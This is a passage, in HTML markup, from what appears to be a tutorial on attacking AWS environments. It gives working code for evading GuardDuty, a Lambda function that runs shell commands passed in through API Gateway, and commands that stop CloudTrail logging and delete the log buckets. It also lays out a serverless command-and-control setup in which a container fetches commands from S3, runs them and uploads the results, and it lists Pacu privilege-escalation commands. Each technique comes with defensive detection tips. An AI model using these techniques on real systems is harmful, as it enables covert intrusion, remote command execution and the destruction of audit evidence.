API Calls&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Principle&lt;/strong&gt;:&#10;AWS GuardDuty uses machine learning models to detect abnormal API activity, such as high-frequency operations and cross-region calls. By &lt;strong&gt;reducing the frequency of sensitive operations&lt;/strong&gt; (for example, to once per hour), it may be possible to evade statistics-based detection rules.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Exfiltrate the S3 object list once per hour&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while true; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; aws s3 ls s3://sensitive-bucket --region us-west-1 &amp;gt;&amp;gt; /tmp/result.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sleep 3600 # One-hour interval&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Defensive detection&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Enable GuardDuty &lt;strong&gt;Threat Lists&lt;/strong&gt; to flag known malicious IPs.&lt;/li&gt;&#10;&lt;li&gt;Use &lt;strong&gt;custom Security Hub rules&lt;/strong&gt; to match low-frequency sensitive operations, such as running &lt;code&gt;iam:CreateUser&lt;/code&gt; once per hour.&lt;/li&gt;&#10;&lt;li&gt;Analyze &lt;strong&gt;time-series patterns&lt;/strong&gt; in CloudTrail logs to identify periodic behavior.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="proxying-traffic-through-legitimate-services"&gt;&lt;a href="#proxying-traffic-through-legitimate-services" class="header-anchor"&gt;&lt;/a&gt;Proxying Traffic Through Legitimate Services&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Principle&lt;/strong&gt;:&#10;Forward malicious traffic through native AWS services such as Lambda and API Gateway, causing GuardDuty to identify the attack traffic as legitimate service activity.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Example (Lambda proxy for C2)&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;Create a malicious Lambda function&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import os&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def lambda_handler(event, context):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # Receive a Base64-encoded command from API Gateway&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; command = event[&amp;#39;queryStringParameters&amp;#39;][&amp;#39;cmd&amp;#39;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; result = os.popen(command).read()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return {&amp;#39;statusCode&amp;#39;: 200, &amp;#39;body&amp;#39;: result}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;&lt;strong&gt;Trigger it through API Gateway&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Send an encoded command (avoid plaintext logging)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl &amp;#34;https://xxx.execute-api.region.amazonaws.com/prod?cmd=$(echo &amp;#39;whoami&amp;#39; | base64)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Defensive detection&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Monitor Lambda &lt;strong&gt;cold-start frequency&lt;/strong&gt; and &lt;strong&gt;abnormal execution times&lt;/strong&gt;, such as functions that run for a long time.&lt;/li&gt;&#10;&lt;li&gt;Enable &lt;strong&gt;VPC Traffic Mirroring&lt;/strong&gt; to capture outbound traffic from Lambda functions.&lt;/li&gt;&#10;&lt;li&gt;Use GuardDuty&amp;rsquo;s &lt;strong&gt;Backdoor:EC2/LambdaClient&lt;/strong&gt; rule to detect suspicious function calls.&lt;/li&gt;&#10;&lt;li&gt;The encryption method can be customized; both RSA and AES will work.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3 id="deleting-cloudtrail-logs"&gt;&lt;a href="#deleting-cloudtrail-logs" class="header-anchor"&gt;&lt;/a&gt;Deleting CloudTrail Logs&#10;&lt;/h3&gt;&lt;h4 id="deleting-a-specific-log-trail"&gt;&lt;a href="#deleting-a-specific-log-trail" class="header-anchor"&gt;&lt;/a&gt;Deleting a Specific Log Trail&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Commands&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Delete the default CloudTrail trail&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail delete-trail --name Default&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Stop logging&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail stop-logging --name Default&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Evasion effect&lt;/strong&gt;:&#10;This prevents new logs from being generated, but &lt;strong&gt;historical logs remain stored in the S3 bucket&lt;/strong&gt; and require separate cleanup.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Defensive measures&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Enable Multi-Region Trail logging&lt;/strong&gt; to prevent logs from being deleted in a single region.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Enable S3 versioning + MFA Delete&lt;/strong&gt; to prevent log files from being overwritten.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Restrict IAM permissions&lt;/strong&gt; so that non-administrator users cannot perform &lt;code&gt;cloudtrail:DeleteTrail&lt;/code&gt; or &lt;code&gt;cloudtrail:StopLogging&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="erasing-historical-logs"&gt;&lt;a href="#erasing-historical-logs" class="header-anchor"&gt;&lt;/a&gt;Erasing Historical Logs&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If a dedicated log bucket exists, identify it before clearing anything; do not delete indiscriminately&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Empty the associated S3 log bucket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 rm s3://cloudtrail-bucket --recursive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Delete the S3 bucket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 rb s3://cloudtrail-bucket --force&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Defensive measures&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Configure &lt;strong&gt;S3 Object Lock&lt;/strong&gt; to make log files undeletable.&lt;/li&gt;&#10;&lt;li&gt;Enable an &lt;strong&gt;AWS Organizations Service Control Policy (SCP)&lt;/strong&gt; to prevent member accounts from changing logging configurations.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3 id="hiding-the-ip-address-serverless-c2"&gt;&lt;a href="#hiding-the-ip-address-serverless-c2" class="header-anchor"&gt;&lt;/a&gt;Hiding the IP Address (Serverless C2)&#10;&lt;/h3&gt;&lt;h4 id="reverse-proxy-with-lambda--api-gateway"&gt;&lt;a href="#reverse-proxy-with-lambda--api-gateway" class="header-anchor"&gt;&lt;/a&gt;Reverse Proxy with Lambda + API Gateway&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Architecture&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Attacker&lt;/strong&gt; → &lt;strong&gt;API Gateway&lt;/strong&gt; → &lt;strong&gt;Lambda (forwards requests)&lt;/strong&gt; → &lt;strong&gt;controlled container/EC2&lt;/strong&gt; → &lt;strong&gt;S3 bucket (stores results)&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Steps&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;Create a Lambda forwarder&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import boto3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def lambda_handler(event, context):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; s3 = boto3.client(&amp;#39;s3&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # Receive a command from API Gateway and write it to S3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cmd = event[&amp;#39;queryStringParameters&amp;#39;][&amp;#39;cmd&amp;#39;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; s3.put_object(Bucket=&amp;#39;c2-bucket&amp;#39;, Key=&amp;#39;commands/latest&amp;#39;, Body=cmd)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # Read the execution result&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = s3.get_object(Bucket=&amp;#39;c2-bucket&amp;#39;, Key=&amp;#39;results/latest&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return {&amp;#39;statusCode&amp;#39;: 200, &amp;#39;body&amp;#39;: response[&amp;#39;Body&amp;#39;].read()}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;&lt;strong&gt;Periodically fetch commands from inside the container&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Scheduled task in the controlled container&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while true; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; aws s3 cp s3://c2-bucket/commands/latest - &amp;gt; /tmp/cmd.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sh /tmp/cmd.sh &amp;gt; /tmp/result.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; aws s3 cp /tmp/result.txt s3://c2-bucket/results/latest&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sleep 300&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Stealth advantages&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;All communications pass through AWS&amp;rsquo;s internal network, with the source IP shown as &lt;code&gt;lambda.amazonaws.com&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;API Gateway supports HTTPS encryption, making the traffic look no different from normal business traffic.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;This is a little complicated, but it is extremely useful (you will need to learn the boto3 library). It is essentially serverless C2. The main goal is to control the target container or EC2 without being discovered. As shown in the architecture above, the attacker uses an API to control the Lambda forwarder. So what exactly is API Gateway? It is basically a trigger, and you can find it in the service. Once the trigger has been defined, you can append a command to the URL.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -X GET &lt;span class="s2"&gt;&amp;#34;https://xxx.execute-api.region.amazonaws.com/prod?cmd=bHMgaS9ldGM=&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This effectively passes the command into cmd.&#10;Now let&amp;rsquo;s look at the received json.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Example event structure received by the Lambda function&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;queryStringParameters&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;cmd&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;bHMgaS9ldGM=&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# Base64 encoding of &amp;#34;ls /etc&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# This locates the Base64-encoded command, so the script defines it as follows&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# cmd = event[&amp;#39;queryStringParameters&amp;#39;][&amp;#39;cmd&amp;#39;]&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Of course, Base64 decoding and so on would still be needed, but that was not included. In short, Lambda receives the command, and the Lambda code automatically writes that command to &lt;code&gt;results/latest&lt;/code&gt; in the bucket. Once the command has been stored, how does the controlled EC2 execute it? You can use a scheduled task that runs every hour or perhaps every half hour; either works. The scheduled task mainly downloads the file from &lt;code&gt;results/latest&lt;/code&gt;, names it &lt;code&gt;xxxx.sh&lt;/code&gt;, executes it, writes the result to &lt;code&gt;/tmp/result.txt&lt;/code&gt;, and then uploads it back to the S3 bucket, perhaps at &lt;code&gt;results/result.txt&lt;/code&gt;, though it can be anywhere. So how should it be read? Reading it directly could still get you discovered. You can instead use Lambda + API Gateway again and set up an API trigger that takes no parameters. Visiting it will automatically return the contents of the file at &lt;code&gt;results/result.txt&lt;/code&gt; in the S3 bucket. That makes the architecture pretty much perfect.&lt;/p&gt;&#10;&lt;p&gt;This is only one possible route. You can add a great many things to it in practice, and this idea can be extended into many other methods. Now let&amp;rsquo;s look at the defensive side.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Detection points&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;API Gateway request frequency&lt;/strong&gt;: Frequent calls may trigger GuardDuty&amp;rsquo;s &lt;code&gt;TTP:Discovery/CloudApis&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;S3 bucket access patterns&lt;/strong&gt;: Frequent overwrites of the same path, such as &lt;code&gt;commands/latest&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Defensive recommendations&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Enable &lt;strong&gt;access logging&lt;/strong&gt; and &lt;strong&gt;object versioning&lt;/strong&gt; for S3 buckets to track file changes.&lt;/li&gt;&#10;&lt;li&gt;Monitor the &lt;strong&gt;number of Lambda executions&lt;/strong&gt; and &lt;strong&gt;S3 write operations&lt;/strong&gt;, and configure threshold alerts.&lt;/li&gt;&#10;&lt;li&gt;Use &lt;strong&gt;Macie&lt;/strong&gt; to automatically scan S3 for sensitive data, such as keys in &lt;code&gt;result.txt&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="aws-penetration-testing-automation-tools"&gt;&lt;a href="#aws-penetration-testing-automation-tools" class="header-anchor"&gt;&lt;/a&gt;AWS Penetration Testing Automation Tools&#10;&lt;/h2&gt;&lt;h4 id="1-cloud-environment-reconnaissance--asset-discovery"&gt;&lt;a href="#1-cloud-environment-reconnaissance--asset-discovery" class="header-anchor"&gt;&lt;/a&gt;1. Cloud Environment Reconnaissance &amp;amp; Asset Discovery&#10;&lt;/h4&gt;&lt;h5 id="1-pacu"&gt;&lt;a href="#1-pacu" class="header-anchor"&gt;&lt;/a&gt;(1) Pacu&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: A full-spectrum AWS environment attack framework that supports modular attacks such as &lt;strong&gt;privilege escalation, backdoor implantation, and data exfiltration&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Automatically enumerates IAM permissions, S3 buckets, EC2 instances, and more.&lt;/li&gt;&#10;&lt;li&gt;Simulates attack chains, such as scanning for privilege escalation paths with &lt;code&gt;iam__privesc_scan&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/RhinoSecurityLabs/pacu" target="_blank" rel="noopener"&#10; &gt;https://github.com/RhinoSecurityLabs/pacu&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Initialize and configure AWS keys&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pacu&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set_keys&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;run iam__privesc_scan # Scan IAM privilege-escalation paths&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-cloudmapper"&gt;&lt;a href="#2-cloudmapper" class="header-anchor"&gt;&lt;/a&gt;(2) CloudMapper&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Visually analyzes AWS environments, including VPC, IAM, S3, and more, and generates a &lt;strong&gt;network topology map&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Maps cross-region VPC connections.&lt;/li&gt;&#10;&lt;li&gt;Flags public S3 buckets and EC2 security groups.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/duo-labs/cloudmapper" 